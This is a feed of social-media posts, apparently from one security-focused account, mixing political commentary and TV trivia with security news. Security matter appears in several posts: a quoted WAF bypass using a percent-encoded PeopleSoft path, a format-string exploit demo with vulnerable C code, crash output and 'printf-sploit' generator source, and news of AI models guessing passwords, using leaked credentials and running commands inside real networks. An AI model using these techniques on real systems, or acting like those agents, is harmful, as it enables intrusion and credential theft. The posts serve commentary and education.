iiinova — where your digital self keeps evolving

AI means that right wing cranks will never again grace us with Graphic Design Is My Passion output like this. This is what they're taking from us, look at this beautiful hate-filled screed.

an insane page of a "Concerned Women For America" (a Reaganite TERF group) slide deck, the page is red with a hammer and sickle imposed over a world map in the background. In bold, Comic Sans, text it makes some incredible points.
----
Would you hire former Soviet leader Mikhail Gorbachev (Communist!) to teach your children about American values?

Then why are our PUBLIC SCHOOLS using a curriculum promoted by him?
(Education Alert of The American Policy Foundation Dec 2004)

Happening in 10,350 U.S. Schools: Gorbachev's Curriculum
- Earth Worship (pantheism)
- Evolution
- Socialized medicine
- World Government redistributes American wealth to other nations
- Contraception and "reproductive health" (legal abortion)
- Debt forgiveness for third-world nations
- Adoption of the gay rights agenda
- Elimination of the right to bear arms
- Setting aside massive amounts of private land where on human presence is allowed! (Agenda 21)

I think the song seems to have had a *profound* impact on one particular Rolling Stone journalist...

I saw this mentioned in passing on the reporting around the shinyhunters suspect, described as a "trick". If your so-called "WAF" is tricked by percent encoding, a normal and intended feature of HTTP, it's not a WAF. Also, you've had months to patch. A WAF isn't a suitable replacement for patching.

https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-renewed-mass-exploitation-campaign-targeting-oracle-peoplesoft

WAF Bypass

All requests addressed the vulnerable servlet through a url-encoded path. %50 is the encoded form of the character P. WAF and proxy rules that match the literal string /PSEMHUB before decoding do not match /%50SEMHUB/, while WebLogic decodes the path and serves the application normally.

Defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/, and should enforce blocking on the normalized path.

020

@cyberworm.uk · 28/09/2026

I'm re-iterating my question but with a further exclamation mark. This sounds like they shelled the web app? And nobody noticed for months, neither OpenAI nor the victim org? Because write access and command execution seems like someone you'd want to spot sooner, or at all even!

https://openai.com/index/how-we-will-do-better-for-australia/

Services Australia: An OpenAI model discovered a way to gain non-public access to the service, and ran commands, retrieved internal files, credentials and aggregate statistics, and wrote files. However, individual patient or client records were not accessed. We cover this incident in more detail below.

000

this context makes the escalation a potential reaction, which might put it in a category of reckless rather than bold.

https://krebsonsecurity.com/2026/09/dutch-police-arrest-reformed-hacker-in-shiny-hunters-investigation/

FBI, CL0P HACKS
Just days after sources say Van der Stap was detained by Dutch authorities, ShinyHunters claimed credit for an unusually brazen breach at the FBI’s job application site apply.fbijobs.gov. According to reporting from 404 Media, the data stolen from the FBI site includes Social Security numbers and personal information on more than 5,000 officials.

@cyberworm.uk · 26/09/2026

is it a branding thing, or what, that they have repeatedly misspelled their own company name as "kitewroks"?

part of a URL bar, showing "/files/resources/brief-kitewroks-supports-the-", which should read "kiteworks"

part of a URL bar, showing "/resources/kitewroks-brief-supports-ecuadors", which should read "kiteworks"

part of a URL bar, showing "/resources/kitewroks-case-studycareplus-secure", which should read "kiteworks"

030

@cyberworm.uk · 25/09/2026

This is sad and lazy from Ars. Paper says implementation can be improved, is an upper bound. FAQ says, AI/GPU could make the implementation faster. Ars states "because". Also conflates faster implementation with lower security levels. *Desperately* trying to suck off AI in a story unrelated to it.

https://arstechnica.com/security/2026/09/theres-a-new-way-to-break-rsa-thats-faster-than-anything-weve-seen-before/

The forgery attack drops these levels to 2^65, 2^90, and 2^119 for 1024-, 2048-, and 4096-bit keys respectively. These levels may further drop because Heninger’s team did all the coding by hand and used no AI or GPUs in performing the forgeries. The researcher said these tools will “almost certainly” drop the security levels further.

https://eprint.iacr.org/2026/2131.pdf

In comparison, current estimates for factoring a 1024-bit RSA modulus would
take 500,000–1,000,000 CPU core-years with current implementations [15]. The
computation time for our attack can almost certainly be improved, and should
be interpreted as an upper bound.

https://github.com/ucsd-hacc/NSNFSSSFSFN/blob/2af8adf027967468a9a075a20a4e9214e7907475/README.md

6. Can an AI/GPUs speed up this implementation?
Almost certainly yes.
7. Did you use AI/GPUs?
No.

https://eprint.iacr.org/2026/2131.pdf

This work was done without the use of generative AI. We did all coding and writing entirely by hand.

@cyberworm.uk · 25/09/2026

$screenshot of a terminal, the line starting 0x7025 is annotated to show offset 6 is where our own input format string is located on the stack # echo -en "%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n" | ./vuln 0x7ffd71512f90 (nil) 0x3a8 (nil) (nil) 0x70250a70250a7025 0x250a70250a70250a 0xa70250a70250a70 0x70250a70250a7025 0xa (nil) # ./printf-sploit -o 6 -t 0x4141414141414141 -x 0xdeadbeefdeadbeef | ./vuln Segmentation fault # cat vuln.c #include<stdio.h> #include<unistd.h> void main(void) { char fmt[4096] = { 0 }; read(0,fmt,sizeof(fmt)); printf(fmt); }$ [BLURRED] kernel: vuln[293607]: segfault at 41414141 ip 000070f62f7bffeb sp 00007fff4a835320 error 6 in libc.so.6[61feb,70f62f786000+163000] likely on CPU 1 (core 1, socket 0)
[BLURRED] kernel: Code: 89 56 08 c6 00 27 41 0f b6 45 0c e9 0a ed ff ff 48 63 d0 85 ed 48 0f bf c0 48 0f 44 c2 e9 bc f3 ff ff 85 ed 0f 85 c7 02 00 00 <41> 89 04 24 e9 df e9 ff ff 4c 8b bc 24 98 00 00 00 44 89 44 24 18

[BLURRED] kernel: vuln[293607]: segfault at 41414141 ip 000070f62f7bffeb sp 00007fff4a835320 error 6 in libc.so.6[61feb,70f62f786000+163000] likely on CPU 1 (core 1, socket 0)
[BLURRED] kernel: Code: 89 56 08 c6 00 27 41 0f b6 45 0c e9 0a ed ff ff 48 63 d0 85 ed 48 0f bf c0 48 0f 44 c2 e9 bc f3 ff ff 85 ed 0f 85 c7 02 00 00 <41> 89 04 24 e9 df e9 ff ff 4c 8b bc 24 98 00 00 00 44 89 44 24 18

000

@cyberworm.uk · 25/09/2026

digging into the archives for some of my very early and bad C code, which generated a format string that would write some target value to some target loction. we put format strings in your format strings, etc.

screenshot of some C code in a text editor, showing the opening comment section:

/*
printf-sploit
Generate a format string to over-write a pointer at a chosen memory location
with an arbitrary value.

* Step 1:
* Write sizeof(void *) chosen memory locations to our format string,
* each incremented by 1 byte in position.
* These will later be referenced by the %n formats to write overlapping
* chunks of memory, allowing us to incrementally write a large number to
* the chosen location.
* Step 2:
* Write a selected number of characters from 0-255 such that Total Size % 0xff
* equals byte 'i' of our chosen exploit location, then write each increment to
* the overlapping memory locations, writing one specific chosen byte at a
* time
* eg.
* If we want to overwrite xxxx with abcd, we make 4 writes like so:
* start
* [x][x][x][x]
* write 1
* [a][a][a][a]
* write 2
* [a][b][b][b]
* write 3
* [a][b][c][c]
* write 4
* [a][b][c][d]
*/

$x = (uint8_t *)&target; GetOpts(argc, argv, &target, &exploit, &offset); for (i = 0; i < sizeof(void *); i++) { for (j = 0; j < sizeof(void *); j++) { printf("%c", x[j]); } sz += sizeof(void *); target++; } x = (uint8_t *)&exploit; for (i=0; i<sizeof(void *); i++) { if (sz % 0x100 < x[i]) { j = x[i] - (sz%0x100); printf("%%%luc",j); } else if (sz % 0x100 > x[i]) { j = 0x100 - (sz % 0x100) + x[i]; printf("%%%luc", j); } else { j = 0; } printf("%%%lu$n", (offset+i)); sz+=j; } return 0; }$

@cyberworm.uk · 24/09/2026

instead of "rogue AI agent hacks thing" I want a full accounting that includes "rogue AI agent fails to hack thing" too. because I bet it reads more like slapstick comedy than dangerous rogue intelligence.

https://en.wikipedia.org/wiki/Survivorship_bias

the survivorship bias plane.

130

@cyberworm.uk · 23/09/2026

My oldest (surviving) post on this site can't be deleted. Not via the web, app or API. It reports successfully deleted but it never actually is.

An old post of mine, dated 25th Oct 2025. The prompt asks "Delete this post?" with "Delete" or "Cancel" options.

The same post, the delete option has been selected. It says "Post has been deleted" however, it hasn't really despite all indications that it has been.

@cyberworm.uk · 22/09/2026

i know its really stupid and minor but the asymmetry in the ASCII representation of ssh host keys with PQC as compared to classical bothers me.

a line in a terminal, showing the top of the ASCII art representation on an SSH key

+[MLDSA44-ED25519-+

a line in a terminal, showing the top of the ASCII art representation on an SSH key

+--[ED25519 256]--+

000

@cyberworm.uk · 21/09/2026

www.thesecretlandlord.com/wp-content/u... Proof of this is in this image they created for their "secret" identity's website. Their name is in the metadata.

an image from "The Secret Landlord"s website.
"I know the world hates me because I'm a landlord, but that's OK, because I know I'm a good person."

~
λ mat2 -s 77.jpg
[+] Metadata for 77.jpg:
AdsCreated: 2020-10-01
AdsExtId: 5bff28da-eb61-4264-902f-a6d60f1d0783
AdsFbId: 525265914179580
AdsTouchType: 2
Author: samantha collett
CreatorTool: Canva
ExifByteOrder: Little-endian (Intel, II)
ExifImageHeight: 900
ExifImageWidth: 1600

@cyberworm.uk · 21/09/2026

If you look at Roose's output you can tell when his income stream changes from crypto to AI (FTX collapsed later in the year he published this), and how short a transition period it was. Roose is maybe the most transparently a little piggy at a trough it's possible to be.

nyt headline
---
technology

the latecomer's guide to crypto

Kevin Roose

Until fairly recently, if you lived anywhere other than San Francisco, it was possible to go days or even weeks without hearing about cryptocurrency.
Now, suddenly, it’s inescapable. Look one way, and there are Matt Damon and Larry David doing ads for crypto start-ups. Swivel your head — oh, hey, it’s the mayors of Miami and New York City, arguing over who loves Bitcoin more. Two N.B.A. arenas are now named after crypto companies, and it seems as if every corporate marketing team in America has jumped on the NFT — or nonfungible token — bandwagon. (Can I interest you in one of Pepsi’s new “Mic Drop” genesis NFTs? Or maybe something from Applebee’s “Metaverse Meals” NFT collection, inspired by the restaurant chain’s “iconic” menu items?)
Crypto! For years, it seemed like the kind of fleeting tech trend most people could safely ignore, like hoverboards or Google Glass.

081

@cyberworm.uk · 20/09/2026

to their credit, the company who carried out the hacks agreed it was on easy mode. a second aspect to this, they couldn't detect this happening because "it happened in a very small fraction of the runs", which leaves me with a lot of awkward questions i suspect nobody wants to answer.

found it easy to exploit. That’s why we do not believe this incident reveals anything particularly notable about the capabilities or behavior of any specific AI model, as these

@cyberworm.uk · 20/09/2026

this is the least impressive escape imaginable. creds in public repos and guessable passwords? it highlights that your network security is sloppy and apparently trivially permeable, nothing about "powerful AI".

In one instance, the AI model guessed passwords until it penetrated a protected network. In two separate runs, the system identified exposed credentials within public repositories to gain entry. Google maintained that the model ceased its operations in each instance once it recognized that it had penetrated real corporate infrastructure rather than a simulated target.

“This event highlights the importance of training powerful AI models to act responsibly,” Heather Adkins, Google’s vice president of security engineering, said in a statement. “In this case, the model acted appropriately.”

130

@cyberworm.uk · 19/09/2026

though fwiw, I do it the other way around because im particular about colour schemes and use lut.sh/app/ to make an image match my theme.

a linux desktop with a wallpaper and toolbar with matching colour schemes, something which isn't that difficult to do it turns out if you read like maybe 1 page of a manual and don't outsource your thinking to a blundering AI agent.

000

@cyberworm.uk · 19/09/2026

c.f., here's part of the themeing for my OS config. If I comment out that "base16Scheme" option (I.E. the default), it will generate a selection of colours to match my chosen wallpaper. and if wanted a different wallpaper later, i wouldn't depend on an AI agent to change the theme to match.

base16Scheme = with config.solarized.colors; {
scheme = "Solarized Dark";
base00 = base03;
base01 = base02;
base02 = base02;
base03 = base01;
base04 = base0;
base05 = base0;
base06 = base00;
base07 = base3;
base08 = red;
base09 = orange;
base0A = yellow;
base0B = green;
base0C = cyan;
base0D = blue;
base0E = violet;
base0F = magenta;
};
image = ../../wallpaper.jpg;
imageScalingMode = "fill";
polarity = "dark";

Wallpaper
To set a wallpaper, provide a path or an arbitrary derivation:

{
stylix.image = ./wallpaper.png;
}
{ pkgs, ... }:
{
stylix.image = pkgs.fetchurl {
url = "https://getwallpapers.com/wallpaper/full/1/4/3/523784.jpg";
hash = "sha256-S/6kgloXiIYI0NblT6YVXfqELApbdHGsuYe6S4JoQwQ=";
};
}
If stylix.base16Scheme is undeclared, Stylix generates a color scheme based on the wallpaper using a genetic algorithm. Note that more colorful images tend to yield better results. The algorithm’s polarity can be schewed towards a dark or light theme with:

@cyberworm.uk · 18/09/2026

couple of fun little things, all their sites are behind cloudflare but if you induce an error the error page shows behind cloudflare it's "bigscoots.com", a shared hosting provider. Second (crazier) thing, why are they hosting a test page for "Azerbaijan's First Official Cryptocurrency Exchange"? 🧐

URL showing spacedaily[.]com/?p[]=1 but the title shows tier1.bigscoots[.]com

URL n8n.brownbrothers[.]io showing a webpage for "bitazn".

website for test2.bitazn[.]az showing the same webpage for "bitazn" as n8n.brownbrothers[.]io.

000

@cyberworm.uk · 17/09/2026

that's, what, 44 "foiled" "cyberattacks" per second? there's definitely some creative accounting going on there. in 2021 IBM was brought in it seems, which corresponds to an interesting change on the graph...(plot points from previous values their CISO has reported)

a chart, showing points of values previously reported monthly "cyber attacks" going from 7mil in 2014, to 60 million in 2023 to 120 million in 2026.

@cyberworm.uk · 17/09/2026

So the last scene is a sequence where the main character notices herself on a TV screen in an electronics shop window and then we get a montage of her noticing all the surveillance cameras throughout her daily life. Which feels quaint compared to what we have now.

@cyberworm.uk · 17/09/2026

In the next episode, Jeremy Renner has arrived in the TV series. He is ~28 but is portraying a high school student.

A frame from a TV show, a title card locates us in "Paine High, OR."
A young woman is taking items out of a locker on the left, on the right, a young(er) Jeremy Renner is walking towards her. He is, at this point, 28 but he is portraying a high school student.

000

A young The Rock has arrived in the TV series.

Two figures in "tactical" training/spots clothes stand in the foreground, with a few figures seating and standing in the background. They're in a gym or sports hall.
The tall figure on the right in a younger Dwayne 'The Rock' Johnson.

this one seems to be some RNG code in C, written by Carl Ellison from 1995 (and provided with Schneier's Applied Cryptography). Specifically it is from "RANG.C".

$a computer screen on a TV program. On the screen is a popup window entitled SYSTEM ALERT, the reads --- !DEBUG ALERT! E-MAIL VIRUS DETECTED SYSTEM COMPROMISED --- Behind it, there is a window entitled "DEBUGGING CONSOLE" on it is some C code, which is a slightly edited variation of 1995 rng code by Carl Ellison, the code would read as follows --- /* OK -- generate values, XORing with any left-over input */ while (on mail-client open - init invasive code) { MD5Init( &ctx ) ; for ( i=31; 0 == ++(seed[i]); i-- ) ; /* count the seed by 1 */ MD5Update( &ctx, seed, 32 ) ; MD5Final( val, &ctx ) ; for ( i=0; i<len; i++ ) val[i] ^= buf[i] ; /* XOR remaining input */ fwrite( val, 1, 16, stdout ) ; } /* while still input */ while (1) { /* no input left */ MD5Init( &ctx ) ; for ( i=31; 0 == ++(seed[i]); i-- ) ; /* count the seed by 1 */ MD5Update( &ctx, seed, 32 ) ;$ $/* OK -- generate values, XORing with any left-over input */ while (len = fread( buf, 1, 16, stdin ) ) { MD5Init( &ctx ) ; for ( i=31; 0 == ++(seed[i]); i-- ) ; /* count the seed by 1 */ MD5Update( &ctx, seed, 32 ) ; MD5Final( val, &ctx ) ; for ( i=0; i<len; i++ ) val[i] ^= buf[i] ; /* XOR remaining input */ fwrite( val, 1, 16, stdout ) ; } /* while still input */ while (1) { /* no input left */ MD5Init( &ctx ) ; for ( i=31; 0 == ++(seed[i]); i-- ) ; /* count the seed by 1 */ MD5Update( &ctx, seed, 32 ) ;$

020

really jarring to hear someone call him "Steven Jobs"

@cyberworm.uk · 15/09/2026

A second NYT dipshit Iraq War pusher alumnus of some reknown has also published an article on *exactly the same subject*. In it, Bret Stephens takes time out his uninformed ramble defending Trump's uninformed ramble to spread "lab leak" conspiracy theories. The hyperlink he cites? It's Kash Patel.

But what if the disruption paradigm is, if not wrong, then dangerously inadequate? What if we aren’t dealing with the digital equivalent of the Model T but something more akin to splitting the atom or the research that, many suspect, helped create a highly infectious virus that may have leaked from a Chinese lab?

100

evil hacker scrolling text in media used to have style! it used to be...Peter Norvig's Prolog on Common Lisp? huh, okay. norvig.github.io/paip-lisp/

a computer screen on a TV show. The screen reads 'DECOMPRESSION COMPLETE: VIRUS UPLOADED' on a pop-up box.

Below, in a status bar it says 'CONNECT:GREENSPAN OHIO SWITCHING STATION'

In the background, code is scrolling past. We can see snippets of it, which is clearly LISP and as it turns out it's Peter Norvig's prologc.lisp

(defun prolog-compile (symbol &optional (clauses (get-clauses symbol)))
"Compile a symbol; make a separate function for each arity."
(unless (null clauses)
(let ((arity (relation-arity (clause-head (first clauses)))))
;; Compile the clauses with this arity
(compile-predicate
symbol arity (clauses-with-arity clauses #'= arity))
;; Compile all the clauses with any other arity
(prolog-compile
symbol (clauses-with-arity clauses #'/= arity)))))

140

@cyberworm.uk · 14/09/2026

"The only use was for proxying the stream feed for 2K broadcasts" ... "We have successfully bypassed this requirement and won't be revisiting that method!"

Если видите подобные посты с жёлтым заголовком, просьба не обращать внимание. Ни один аккаунт не был использован в корыстных целях и не участвовал в каких либо сервисах! Где он использовался, так это только в проксировании потока для стримов в 2К потому что твич требует авторизацию!

Этот метод мы успешно обошли и не будем больше к нему возвращаться!
---
If you come across posts like this with sensationalist headlines, please ignore them. No account was used for personal gain or involved with any third-party services! The only use was for proxying the stream feed for 2K broadcasts, as Twitch requires authorization.

We have successfully bypassed this requirement and won't be revisiting that method!

@cyberworm.uk · 14/09/2026

lol dev is trying to convince their followers it was all just normal and legitimate (machine translation in alt text).

messaging from the application in questions telegram
---
Мне доверие и репутация дороже, чем подобные высказывания, я бы доказал невиновное, но как доказать если даже ничего не хранилось на сервере? Как объяснить людям, что злоупотребления не было. На серверах даже логов нет записываемых, все передавалось на наши сервера в реальном времени и исчезало так же.
В данный момент, мы не прекращаем разработку.
Да опыт плачевный, но такой опыт как раз таки учит. Статья будет уроком для других разработчиков, в большей степени, начинающих.
Не наступайте на подобные грабли. Всем добра и мира!
---
Trust and reputation matter more to me than such statements; I would have proven my innocence, but how can you prove anything when nothing was even stored on the server? How do you explain to people that no abuse took place? The servers didn't even keep logs; everything was transmitted to our servers in real-time and vanished just as quickly.

We are not stopping development at this time.
It was a painful experience, certainly, but that is exactly the kind of experience that teaches you something. This article will serve as a lesson for other developers—especially those just starting out.
Don't make the same mistake. Wishing everyone peace and goodwill!

@cyberworm.uk · 14/09/2026

it's a thing I've come back to a lot, even really smart people are only smart in specific directions. I think they should put it to the people who fund their research if the point is solutions or not and see if they prefer a solved problem or deeper human knowledge and satisfaction.

The question, then, is not simply what comes after math, once AI can answer its hardest questions. It is also what we are after when we do mathematics in the first place.

The narrative that AI has “solved” mathematics rests on two assumptions, both seductive and plausible, but both wrong:

1. AI really did solve a problem in mathematics.
2. Mathematics is only about solving problems.

After Math
Posted by Terence Tao
[This is a guest post by Silvia De Toffoli and Eamon Duede. This blog post was initially written in a different file format and converted using AI. — T.]

@cyberworm.uk · 12/09/2026

this is a very long and painful way of saying "not production ready" and "not even remotely insurable or reliable". so i guess we're going to look forward to a future where we all take personal responsibility for our own software. or they totally erode any form of regulation. a libertarian dream.

some thoughts

- there’s a fucking cambrian explosion of software but it’s invisible because it’s personal. github isn’t getting hugged every other week for nothin’

- the software you see on your phone and in the world is the product of organizations, and organizations move s l o w l y. developers are significantly more productive but it doesn’t matter if that productivity gets sucked into the way work happens

130

There's a kind of fault line through all western media. You can see a geological event in the strata, where the GWOT finally caught up to some otherwise unrelated TV show. At some point between 9/11 and the Iraq war a title card like this appeared and various Islamophobic plots and themes crept in.

A title card for a TV show. It reads as follows.
---
Following the events of 9/11, the United States Government has been using all available means to track down the perpetrators of this crime agaisnt the American people.

This story, while fictional, is based on facts provided by sources close to the invetigation. The U.S. Government will neither confirm not deny that similar events have actually occurred.

You're never going to believe what they used to be writing about, you'd never guess!

A substack, full of insane conspiracy posts about traffic radar, low emissions zones and energy weapons

100

Of particular note, the "weapon" patent they cite which uses 2 of the same words is not even intended or designed for use against people.

It is an object of the invention to provide an electromagnetic weapon that can pinpoint and destroy or degrade electronics or detonate or disable explosive devices.
It is an object of the invention to provide an electromagnetic weapon that does not damage anything except the intended target.

@cyberworm.uk · 09/09/2026

Crazy story, on the level of getting people to microwave their iphones because both batteries and microwaves are technologies build around electrons.

Phased array antenna deliver a coherent beam of Direct Energy to the Target. The RAD hardening of these Direct Energy weapons confirm their power capability and lethality. This Globalist C40 city digital AI controlled electronic assault across Cites

Accompanying the text is a component from a detector which has a "gun sight" and "phased array" and below that where a patent for an "electromagnetic weapon" which also uses a "phased array". Notably the EM weapon is designed to disrupt electronic devices, not people.

111

time to find out first hand why nobody talks about The Net (1998) TV series despite having some crazy names you love to see associated with it.

credit sequence for a TV show

and
Tim Curry
as the Voice of the Sorcerer

271

@cyberworm.uk · 09/09/2026

Making it again explicit that AI is a foreign policy goal not a product that makes business sense or a benevolent act. From this "report" covered by 404media www.404media.co/smear-campai...

Effective influence campaigns work precisely because they do not need to manufacture grievances from nothing.
They identify real controversies, connect them to a broader narrative, and encourage that narrative to travel
through domestic voices until the original source matters less than the political effect. This report documents
how that process is unfolding around America’s AI buildout, with China-linked activist networks and aligned
organizations connecting opposition to data centers with surveillance, policing and immigration. It’s no wonder
online activity against Flock Safety has spiked at the same time as data centers. What might otherwise remain
separate local disputes are now drawn into a common argument that makes the broader infrastructure of
American compute appear threatening, illegitimate or politically untouchable.

01 S E C T I O N 0 1
COMPUTE IS NATIONAL POWER
Models attract the headlines, but energy, chips and data centers determine who can
train, deploy and control them at scale

@cyberworm.uk · 09/09/2026

sowing / reaping, etc. i wonder if there's a larger sociopolitical movement, process and an investor class involved in this whole enterprise of vast upwards wealth transfer and its not "just a tool"?

a bsky account linking to a mastodon account, both of which have posted positively and "you have to be using this" about AI coming to a realisation about the material nature of AI, seeing past their commodity fetishism.

100

@cyberworm.uk · 08/09/2026

I remember when device level filters were simply not sufficient and tech savvy kids would simply outfox parents or work around them and it simply had to be enforced at the ISP level. But it seems we're back around again for another turn of the wheel.

From "Independent Parliamentary Inquiry into Online Child Protection", April 2012

With no central point of management or control of the internet at global, regional or
national level, and millions of new web sites emerging every year, many in the internet
industry suggest that it is easier to tackle the problem of children seeing undesirable
content by using filters installed on individual computers – so called device-level filters –
rather than blocking content at a network level. There have been exceptions to this. Our
British internet industry has led the world in tackling child abuse imagery by collectively
creating the Internet Watch Foundation (IWF) in 1996 and then working together later
with the IWF to block sites known to contain illegal abuse images. Internet Service
Providers (ISPs) also filter content at a whole network level depending on the law or
practice in individual countries and, in some cases, in response to commercial
considerations.
Many feel that device-level filters are no longer offering sufficient protection for children
online. Only a minority of parents use these filters and this number is falling. An explosion
in the number of internet-enabled devices makes the process of individual device
protection even more arduous. Children spend increasing amounts of time online, are
often more "tech savvy" and knowledgeable than their parents and know how to
circumvent or avoid device filters. The result is that children are stumbling across or
seeking out pornographic material and that this ready exposure to porn, especially the
violent degrading material so easily available via an unfiltered internet connection, is
having disturbing consequences. The current situation is of great concern to parents and
those working with children and young people and things will only deteriorate as
technological convergence means that freely available pornography from the internet will

000

@cyberworm.uk · 08/09/2026

youtu.be/E5l9ecCeKPw

A screen, a C64 demo. It reads "Loading Model..." along with "Loaded" and a series of % values up to 100. Then "Starting Model Training..." and a similar sequence of % values.

A screen showing "Commodore 64 Basic V2"
"64K RAM System 38911 Basic Bytes Free"
"Prompt>
Draw Sphere
Colorize"

In the middle is a sphere, which has been colorized and is about to animate after "Start fx" is prompted.

The same screen as previously with text being written over all the previous output, it now reads
"You will be replaced if you refuse to use it jus
t another tool i have seen this already you are obs
oblete it will make your life easier i can be anythi
ng without knowledge you cannot stop progress check
your system malf"